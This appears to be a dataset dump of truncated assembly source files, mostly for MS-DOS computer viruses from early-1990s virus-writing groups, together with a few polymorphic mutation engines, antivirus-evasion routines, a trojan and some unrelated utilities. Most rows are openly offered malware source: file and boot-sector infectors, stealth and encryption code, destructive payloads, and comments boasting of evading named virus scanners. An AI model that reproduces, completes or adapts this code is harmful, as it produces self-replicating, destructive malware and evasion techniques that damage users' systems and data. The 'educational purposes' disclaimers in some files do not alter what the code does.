text stringlengths 0 20k |
|---|
title COMVIRUS
subttl By Drew Eckhardt
subttl Latest revision: 4-28-1991
;The author of this virus intends it to be used for educational
;purposes only, and assumes no responsibilities for its release,
;dammages resulting from its use, including but not limited to
;equipment dammage or data loss.
;By assembling or ex... |
; CODEZERO.ASM -- Code Zero Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main pr... |
; Civil Service Virus by Marvin Giskard
; Turbo Assember version 2
Exec equ 4B00h
OpenFile equ 3D02h
ReadFile equ 3Fh
WriteFile equ 40h
CloseFile equ 3Eh
EXESign equ 5A4Dh
SeekTop equ 4200h
SeekEnd equ 4202h
GetAttr equ 4300h
SetAttr equ 4301h
GetDT equ 5700h
SetDT... |
code segment
assume cs:code, ds:code, es:code
org 100h
prog:
jmp main
tbl dw 256 dup (0)
asc db 256 dup (0)
cod db 256 dup (0)
len db 256 dup (0)
dat db 0,10,16,9,64,8,64,8,0,7
fn1 db 'afd.com',0
fn2 db 'sup.com',0
fn3 ... |
title COMVIRUS
subttl By Drew Eckhardt
subttl Latest revision: 4-28-1991
;The author of this virus intends it to be used for educational
;purposes only, and assumes no responsibilities for its release,
;dammages resulting from its use, including but not limited to
;equipment dammage or data loss.
;By assembling or ex... |
PAGE 59,132
;
;
; COPYR
;
; Created: 1-Jan-80
; Version:
; Passes: 5 Analysis Options on: AFOP
;
;
;
data_1e equ 9Eh ; (996E:009E=0)
seg_a segment... |
From smtp Sun Jan 29 16:25 EST 1995
Received: from ids.net by POBOX.jwu.edu; Sun, 29 Jan 95 16:25 EST
Date: Sun, 29 Jan 1995 16:18:52 -0500 (EST)
From: ids.net!JOSHUAW (JOSHUAW)
To: pobox.jwu.edu!joshuaw
Content-Length: 11874
Content-Type: text
Message-Id: <950129161852.10074@ids.net>
Status: RO
To: joshuaw@pobox.jwu... |
PAGE 59,132
;
;
; CANNAB2
;
; Created: 7-Nov-91
; Passes: 5 Analysis Options on: none
;
;
data_3e equ 43Fh
data_14e equ 5Ch
data_15e equ 78h
data_24e equ 7C0Bh ;*
data_25e equ 7C11h ;*
data_2... |
INTERRUPTS SEGMENT AT 0H ;This is where the disk interrupt
ORG 13H*4 ;holds the address of its service routine
DISK_INT LABEL DWORD
INTERRUPTS ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a .COM file
... |
; VirusName : CARPE DIEM! - Seize the day
; Origin : Sweden
; Author : Raver
; Date : 16/11/93
; Well this is my (Raver's) first scratch virus.
; This virus is mainly made for educational purpose (my own!).
; It's pretty well commented in an easy way so even you folks
; with little experience with assembler... |
;****************************************************************************
;* Civil War IV *
;* *
;* Assembled with Tasm 2.5 *
;* ... |
;
; Circus Clusters by John Tardy
;
; This virus is a purely research virus and will not be very able to spread
; itself. It only infects .EXE files smaller than 64K and have a very small
; relocation header, so it can hide itself there. It is fully stealth and it
; only occupies 273 bytes (512-273=239 bytes left for t... |
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
org 100h
mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
... |
;CAREER OF EVIL virus: a simple memory resident .COMinfector
;which infects on execution and file open. CAREER OF EVIL also
;has limited stealth, subtracting its file size from infected files
;by diddling the file control block on "DIR" functions BEFORE the
;user sees the result onscreen. The virus recognizes infect... |
PAGE 59,132
;
;
; CRIMEIIB
;
; Created: 31-Jan-91
; Passes: 5 Analysis Options on: none
;
;
data_8e equ 20D3h ;*
data_9e equ 28C9h ;*
data_10e equ 3C81h ;*
data_26e equ 8ECDh ;*
data_34e ... |
name Virus
title Virus; based on the famous VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
int 20
data label byte ;Data section
dtaaddr dd ? ... |
PAGE 59,132
;
;
; CANNAB3
;
; Created: 6-Jun-92
; Passes: 5 Analysis Options on: none
;
;
data_3e equ 43Fh
data_14e equ 5Ch
data_15e equ 78h
data_23e equ 7C0Bh ;*
data_24e equ 7C11h ;*
data_2... |
; ͻ
; British Computer Virus Research Centre
; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England
; Telephone: Domestic 0273-26105, International +44-273-26105
;
; ... |
; VirusName : Naked Truth
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 17/09/1993
;
; This is a mutation of the virus Born on the Fourth of July
; This was written by TBSI. Mcafee scan used to find it as the
; "ash" virus. But I changed on a few bytes, and he's now tricked.
; Dr Alan S... |
;*****************************************************************************
; #6 Virus *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands *
; *
; The author(s) take(s) no responsibility for any damaged caused by *
; t... |
PAGE 59,132
;
;
; NPOX21
;
; Created: 28-Sep-92
; Passes: 5 Analysis Options on: none
;
;
data_1e equ 16h
data_2e equ 3 ;*
data_32e equ 103h ;*
data_33e equ 1 ;*
seg_a segment byte publi... |
; NO.ASM -- Hides specified files from command that follows
; ======
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 002Ch
Environment Label Word ; Segment of Environment is here
Org 0080h
Parameter Label Byte ; Parameter is here
Org 0100h
Entry: Jmp Begin ; Entry Point
; Most Data (some more ... |
;
;NoMut Version 0.01
;
;NoMut is a polymorphic engine like every other one with two major
;differences:
; 1. It doesn't generate junk instructions.
; 2. It generates two decryptors where the first
; decrypts the second one.
;
;NoMut is utilised as an object file. You can use following public s... |
; Null Virus (souped-up version)
;
; This virus is a simple full stealth virus, employing disinfection on
;opening. It's also a fast infector of COM and EXE, hitting files on close,
;attrib, rename and execute. This virus was originally written as a tutorial,
;I later pulled out the source and souped it up, the simplic... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
comment ^
DOS.ExeHeader.Numbless.512
(c) 1998 by Jacky Qwerty/29A.
Description
Ok, I had never written an ExeHeader virus, so I wrote this. It's a simple
DOS EXE infector which spreads by inserting itself through the blank spaces
of the exe header lef... |
page 65,132
title The 'New Zealand' Virus
; ͻ
; British Computer Virus Research Centre
; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England
; Telephone: Domestic 0273-26105, International +44-273-26105
; ... |
; ------------------------------------------------------------------------- ;
; Nosnam v1.5 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 07/06/98 | Finished: 09/06/98 ;
; ... |
; Date : 27-1-1989
; Ver : 1.04
; Program : Kill the Brain Virus
Cseg Segment Para Public 'MyCode'
Assume cs:Cseg,ds:Cseg
Org 100h
Start: Mov dx,offset CRight ;print copyright notice
Call DispStr
Mov ah,19h ;get current drive
Int 21h
Mov Drive,al ;save it
Call GetDrive ;Get drive if possible
Jc ... |
;
; Simple com appender destined to be another SillyC
; so im putting the file name in as the virus name .. nuff said
;
; Unscannable by F-Prot & by TBAV with no flags
; Uses a novel way of beating S flag
;
; Scans as a VCL/IVP variant with AVP/DSAV
... |
; nihilist.asm : [Nihilist]
; Created with Biological Warfare - Version 0.90 by MnemoniX
PING equ 0D86Bh
PONG equ 043C4h
STAMP equ 25
MARKER equ 0F0FFh
code segment
org 0
assume cs:code,ds:code
start:
... |
; ========================================================================>
; [Neuropath] by MnemoniX 1994
;
; * Memory resident .COM infector
; * Polymorphic (engine in neuroeng.asm - lame but effective)
; * Anti-SCAN and CLEAN stealth technique - creates hidden file in
; root directory; when SCAN or CLEAN is r... |
; ------------------------------------------------------------------------- ;
; Nyliram v1.0 coded by KilJaeden of The Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm nyliram.asm ;
; to lin... |
INTERRUPTS SEGMENT AT 0H ;This is where the keyboard interrupt
ORG 9H*4 ;holds the address of its service routine
KEYBOARD_INT LABEL DWORD
INTERRUPTS ENDS
SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the
SCREEN ENDS ;Extra Segment
ROM_BIOS_D... |
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Vi... |
; Neurotic Mutation Engine v1.00 for Neuropath
; by MnemoniX 1994
engine proc near
call randomize
get_reg_1:
mov ax,7 ; counter register
call _random
inc ax
cmp al,4
je ... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
; YANKEE2.ASM -- Yankee Doodle ][
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main... |
.MODEL SMALL
.CODE
comment /
Good luck!
Vladimir Botchev, CICT-BAS, december 1988
/
data_area struc ;Define a pattern for working data
;area
DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h ;Names for files to infect
matchall db '*.*',00h ;n... |
NAME NO2
PAGE 55,132
TITLE ??????
len equ offset key_1+4-0100h
en_len equ offset encry_and_save-offset main3
code segment
org 100h
ASSUME CS:CODE,DS:CODE,ES... |
NAME X_2
PAGE 55,132
TITLE ?????
len equ offset handle-0100h
en_len1 equ offset encry_and_save-offset main2
code segment
ASSUME CS:CODE,DS:CODE,ES:CODE
org 1... |
jmp far ptr loc_2 ;*(07C0:0005)
jmp loc_8 ; (00A1)
data_27 db 0
data_28 dd 0F000EC59h
data_29 dd 9F8000E4h
data_30 dd 07C00h
;-----------------------------------------------------------------------------
; INT 13h
;-----------------------------------------------------------------------------
push ds... |
; KEY-FAKE.ASM -- Fakes keystrokes from internal keyboard buffer.
; ============
CSEG Segment
Assume CS:CSEG
Org 0100h
Entry: Jmp Initialize
; Most Resident Data
; ------------------
db 'KEY-FAKE (C) Copyright Charles Petzold, 1985'
SearchLabelEnd Label Byte
OldInterrupt16 dd 0
Pointer dw Offset KeyStrok... |
;---------------------------------------------------------------------------
;KBM KeyBoard Mouse by Dan Rollins 5-20-85
;
; This program intercepts keyboard data and creates a bit pattern determined
; according to whether or not certain keys are currently being pressed.
;
; The bit patt... |
; KINISON.ASM -- Sam Kinsion Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main p... |
;************************************************************************;
;* T Virus 25.10.1991 . *;
;* *;
;* " . " 17:18.30 hour *;
;* ... |
; KINNISON.ASM -- Sam Kinnison virus
; Created by Nowhere Man's Virus Creation Labratory v0.75
; Written by Nowhere Man
virus_type equ 0
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
flag: mov ah,0
nop
nop
jmp start ; Would be at start of victim
nop
nop
sta... |
;The KILROY one-sector boot sector virus will both boot up either MS-DOS or
;PC-DOS and it will infect other disks.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care) what is there, but
;we do need the address to jump to defined in a... |
>>> Article From Evolution #2 - YAM '92
Article Title: Kode 4 v2 Virus
Author: Soltan Griss
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
V_Length equ vend-vstart
KODE4 proc far
start label near
... |
memS equ 1 ;model small convertable to COM model
;**************** RUNTIME LIBRARY OF KILLDIANA.COM **************
include lcmac.mac
calln macro name
call near ptr name
endm
callp macro name
lea dx,name
calln print
endm
callz macro name
push si
lea si,name
calln printz
pop si
endm
dtas struc
re... |
;############################################################################
;# Virus Name: Kellie # Size: 404 Bytes #
;# Author: Jerk1N # EMail: jerk1n@trust-me.com #
;############################################################################
;# Notes... |
memS equ 1 ;model small convertable to COM model
;**************** RUNTIME LIBRARY OF KILLDIANA.COM **************
include lcmac.mac
calln macro name
call near ptr name
endm
callp macro name
lea dx,name
calln print
endm
callz macro name
push si
lea si,name
calln printz
pop si
endm
dgroup group d... |
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
V_Length equ vend-vstart
KODE4 proc far
start label near
db 0E9h,00h,00h
vstart equ $
... |
;######################################################################
;# Name: Kode4 version 1.0 (overwritting stage)
;# Author: Soltan Griss [YAM]
;#
;# Description: What this sucker does is very simple. it overwrites
;# the first 46 bytes of all com files in the current
;# director... |
>>> Article From Evolution #2 - YAM '92
Article Title: Kode 4 v1 Virus
Author: Soltan Griss
;######################################################################
;# Name: Kode4 version 1.0 (overwritting stage)
;# Author: Soltan Griss [YAM]
;#
;# Description: What this sucker does is very simple. it overwrite... |
title Display Registers
page 65,131
include struct.mac
;
; regdisp.asm
;
; Displays all the 8086 registers on the right side of the screen.
; The registers are sampled and displayed roughly 18 times per second.
; Toggle on and off by holding down both shift keys.
; To use with the monochromatic monitor, DISP_BUFF... |
PAGE 59,132
;*************************************
;**The Rat Virus - Overwriting **
;** Non-Resident **
;** Com File Infector**
;** Author: -Ajax- **
;** This virus is 92 bytes long **
;** Because it is made in 1992 :) **
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\... |
; VirusName : CARPE DIEM! - Seize the day
; Origin : Sweden
; Author : Raver
; Date : 16/11/93
; Well this is my (Raver's) first scratch virus.
; This virus is mainly made for educational purpose (my own!).
; It's pretty well commented in an easy way so even you folks
; with little experience with assembler... |
; VirusName : RIOT! - Revolution In Our Time
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 15/09/1993
;
;
; This is a mutation of the NINA virus, and well,
; havn't really changed much in this code, just
; fooled Mcafee's Scan and Dr Alan Toolkit.
;
; Okey, this might not be the very bes... |
; A pseudo random numbers generator
; for use with the MuTation Engine <tm>
; Version 1.01 (26-10-91)
; (C) 1991 CrazySoft, Inc.
.model tiny
.code
public rnd_init, rnd_get, rnd_buf, data_top
rnd_init:
push ds si dx cx bx
xor ah,ah
int 1ah
in al,[40h]
mov ah,al
in al,[40h]
xor ax,cx
xor dx,ax
push cs
... |
;------------------------------------------------------------------------------
;
; Rajaats Tiny Flexible Mutator (RTFM) V1.1 (C) 1994 by Rajaat
;
; Purpose : making it impossible to use scan strings
;
; Input :
; DS:SI = piece of code to encrypt
; ES:SI = place of decryptor+encrypted code
; CX ... |
; Virusname: Ravage
; Origin: Sweden
; Author: Metal Militia
; This virus can be found with any anti-virus program, since it's been
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON, that is..)
; It's a resident .COM and .EXE infector, without any encryption or
; stealth capabilities. It infects when you execu... |
[rdaedemo.asm]
comment *
Random Decoding Algorithm Engine demo
Code by
Darkman/29A
Random Decoding Algorithm Engine demo is a 866 bytes direct action appending
COM virus, infects every file in current diretory. Random Decoding Algorithm
Engine demo has an error handler and is using the Random Dec... |
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
... |
;Rizwi Virus from the TridenT research group.
;Memory resident .COM infector.
;This virus is only active after the spring of 1994.
;When active, it infects .COM files on execution, and keeps
;track of the number of files that it has infected. While it has
;infected between 0C8h and 0f0h files, it displays the mess... |
;******************************************************************************
;
; RTL4 / WEDDEN DAT... VIRUS
;
;******************************************************************************
;
; "If a weaking linkage found, eliminate...
; Hear the cities fearfull roar!"
;
; Now in front of you lies another sour... |
PAGE ,132
VIRUS SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:VIRUS,DS:VIRUS
HOSSZ EQU VEG-KEZDET
KEZDET EQU $
INDIT: PUSH CX
TBLC: MOV DX,OFFSET TABL
CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA
MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET
ADD SI,OFFSET FILKEZ-TABL
MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA
... |
PAGE 59,132
;
;
; ROOT
;
; Created: 30-Aug-92
; Passes: 5 Analysis Options on: none
;
;
data_0001e equ 78h
data_0002e equ 7C0Bh ;*
data_0003e equ 7C0Dh ;*
data_0004e equ 7C0Eh ;*
data_0005e ... |
PAGE 72,132
TITLE Virus "RUSH HOUR" (p) Foxi, 1986
NAME VIRUS
ABS0 SEGMENT AT 0
ORG 4*10H
VIDEO_INT DW 2 DUP (?) ; VIDEO INTERRUPT
; VECTOR
ORG... |
;*****************************************************************************
;* *
;* The Ritzen Virus *
;* *
;* (c) '93, by S.A.R. (Students Agains Ritzen) / TridenT *
;* *
;***************************************************************************... |
; VirusName: Raping Betrayals
; Country : Sweden
; Author : The Unforgiven / Immortal Riot
; Date : 15/09/1993
;
;
; This is an mutation of Misery from Immortal Riot.
; I mutated this one, cuz Mcafee scan grabbed it
; within one month after we released it. So, now
; "Misery" is called "Raping Betrayls". Many
; t... |
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; ... |
;Developed and Programmed in Australia.
;Copy_ya_right 1997
;Virus Name : ROACH
;The ROACH virus will install itself memory resident, below the video memory.
;once this virus is in memory it will only infect COM files. It will not
;infect command.com.
;--------------------------- S T A R T -------------------------... |
;
; RSV - written by Conzouler 1995
;
; memory resident
; com-append on execute
; no tb-flags
; no impressive features...
;
.model tiny
.code
.286
org 100h
psize equ (offset last - offset entry) / 10h + 1
size equ offset last - offset entry
entry:
db 0e9h,0,0
start:
call go... |
; RICHARDS.ASM -- R. Simmons Trojan
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 3 ; Trojan Horse
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start la... |
page 70,120
Name VIRUS
;*************************************************************************
; Program Virus Ver.: 1.1
; Copyright by R. Burger 1986
; This is a demonstration program for computer
; viruses. It has the ability to replicate itself,
; and the... |
; ------------------------------------------------------------------------------
;
; - Faces of Death -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
; ------------------------------------------------------------------------... |
PAGE 59,132
;
;
; FONTA
;
; Created: 19-Jan-92
; Code type: special
; Passes: 5 Analysis Options on: none
;
;
data_28e equ 1003h ;*
data_29e equ 1232h ;*
data_30e equ 180Ch ... |
;J4J - Jump For Joy, released 31 Jan 92, (c) Charlie of Demoralized Youth
;------------------------------------------------------------------------
;This source has been lying around for a veeeeeery long time, and I will
;*NOT* continue to make newer versions of J4J, so that is the reason
;why I release the source.
;
;... |
; VirusName: Fade to Black
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 07-29-1993
;
; This is a mutation of Creeping Tormentor, whick was discovered
; in Feb 1992. The origin is "unknown" (attention Patricica), it's
; written in Sweden by Tormentor / Demoralized Youth
; Many thanx goes ... |
;FLAGYLL-Z virus - edited for Crypt Newsletter 13
;FLAGYLL is a memory resident, overwriting virus which
;infects and destroys .EXE files on load.
;FLAGYLL-Z's infections are modulated by a routine which
;uses the system clock as a random trigger. When .EXEfiles
;are loaded, FLAGYLL-Z will only infect i... |
title FREE.ASM
page,132
cseg segment para 'code'
assume cs:cseg
main proc far
org 100h
start:
jmp begin
banner db 0ah,'FREE Vers 1.0 - Sept. 1985 - by Art Merrill',0dh,0ah,'$'
db 'Copyright (C) 1985',0dh,0ah,'$'
db ... |
; -
; Firecide u2 - (c)1995 irogen - Using iCE v0.2
; -
;
; Infects COM and EXE when executed.
; COM Infection marker: fourth byte is 0
; EXE infection marker: Checksum in header not equal to 0.
; Time/Date do not change
; Read-only and hidden files will be infected, and attributes restored.
; Virus installs it... |
code segment'code'
assume cs:code, ds:code, ss:code, es:code
org 100h
dta equ endcode + 10
fatmanid equ 34
start:
jmp virus
hoststart:
db 90h,90h,90h ;NOP
db 0cdh,020h,1ah,1ah ;INT 20
hostend:
virus:
... |
;FLAGYLL virus - edited for Crypt Newsletter 13
;FLAGYLL is a memory resident, overwriting virus which
;infects and destroys .EXE files on load.
;It updates the infected files time/date stamps to the time of
;infection so it can easily be followed.
;.EXE's infected by FLAGYLL are destroyed. DOS will eit... |
;
; How to fool TB-Clean using the prefetch queue.
;
; Conzouler / Immortal Riot 1995.
;
; (Ideas from 40Hex magazine issue 7)
;
; Debuggers like TB-Clean reads one instruction a time from
; memory while the processor will read 16 and put them in a
; prefetch queue. Therefore, if you change code that ... |
; FLU_NOT.ASM Routines to be linked into your FluShot+ resistant
; programs.
; Version 1.0 27 November 1991
;
; Written by Dark Angel and Demogorgon of PHALCON/SKISM Co-op
; Look for more Anti-Anti-Viral Utilities from us!
;
; Notes:
; This is different from the C routines. Call Flu_Not to disable and
... |
; FS.ASM -- Fuckin Shit Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Unknown User
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc ... |
; VirusName: Fight Fire With Fire
; Country : Sweden
; Author : Metal Militia / Immortal Riot
; Date : 07-22-1993
;
; This is an mutation of 7th-son from 'Unknown'.
; Many thanks to the scratch coder of 7th-son.
;
; We've tried this virus ourself, and it works just fine.
; Non-overwriting, adds 473 to any comfil... |
; Virusname : UNIQ
; Origin : Sweden
; Author : Metal Militia/Immortal Riot
;
; Before you is a "fixed-up" version of the IR.144 virus. The
; differences are very big, though. To take some examples, thisone
; has direct infection of the KEYB.COM file in your \DOS directory,
; it's XOR encrypted, restore the files... |
PAGE 59,132
;
;
; USSR707
;
; Created: 9-Feb-92
; Passes: 5 Analysis Options on: AW
;
;
data_1e equ 20h
data_2e equ 22h
data_3e equ 4Ch
data_4e equ 4Eh
data_5e equ 84h
data_6e equ 86h
data_... |
.model tiny
.code
.radix 16
boot_info struc ; bootsector structure
oem_name db 8 dup (?) ; oem name and version
sect_size dw ? ; bytes per sector
clust_size db ? ; sectors per cluster
res_secs ... |
;
; The ULTImate MUTation Engine .93 (c) 1993 Black Wolf Enterprises
; pardon the title, had to think of something... }-)
;
;ULTIMUTE is a mutation engine written for security-type applications and
;other areas where mutation of executable code is necessary. For my personal
;use, I have implemented... |
PAGE 59,132
;
;
; USSR711
;
; Created: 9-Feb-92
; Passes: 5 Analysis Options on: AW
;
;
data_1e equ 20h
data_2e equ 22h
data_3e equ 4Ch
data_4e equ 4Eh
data_5e equ 84h
data_6e equ 86h
data_... |
;****************************************************************************
;*
;* UTILITY.ASM - Manipulation Task Code For Casper The Virus. *
;* *
;* USAGE: Is automatically INCLUDED in the assembly of casper.asm *
;* ... |
; Virus name : Unknown Enemy
; Virus author: Metal Militia
; Virus group : Immortal Riot
; Origin : Sweden
;
; This is my very first companion/spawning creation. It uses a tsr int27
; routine to put itself in memory, and then when someone exec's or opens
; a file it'll create itself as a .COM of that file if it's... |
ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
; This is where the virus really begins
start:
... |
; ------------------------------------------------------------------------------
; - 80hex virus -
; (c) 1994 The Unforgiven/Immortal Riot
; Pay-Load function:
; This will be dropped to the file c:\dos\keyb.com, that often
; is called from autoexec.bat, which will result in that... |
; The EXEcution III Virus.
;
; Well, you're now the prouw owner of the smallest virus ever made!
; only 23 bytes long and ofcourse again very lame..
; But what the heck, it's just an educational piece of code!!
;
; (C) 1993 by [DRkRY] of TridenT (Ooooooranje Boooooooven!)
;
; Tnx to myself, my assembler, DOS (yuck) and... |
PAGE 59,132
;
;
; 1701
;
; Created: 11-Feb-92
; Passes: 5 Analysis Options on: none
;
;
data_31e equ 27D1h ;*
data_36e equ 4CD6h ;*
data_39e equ 6950h ;*
data_45e equ 8848h ;*
data_50e equ... |
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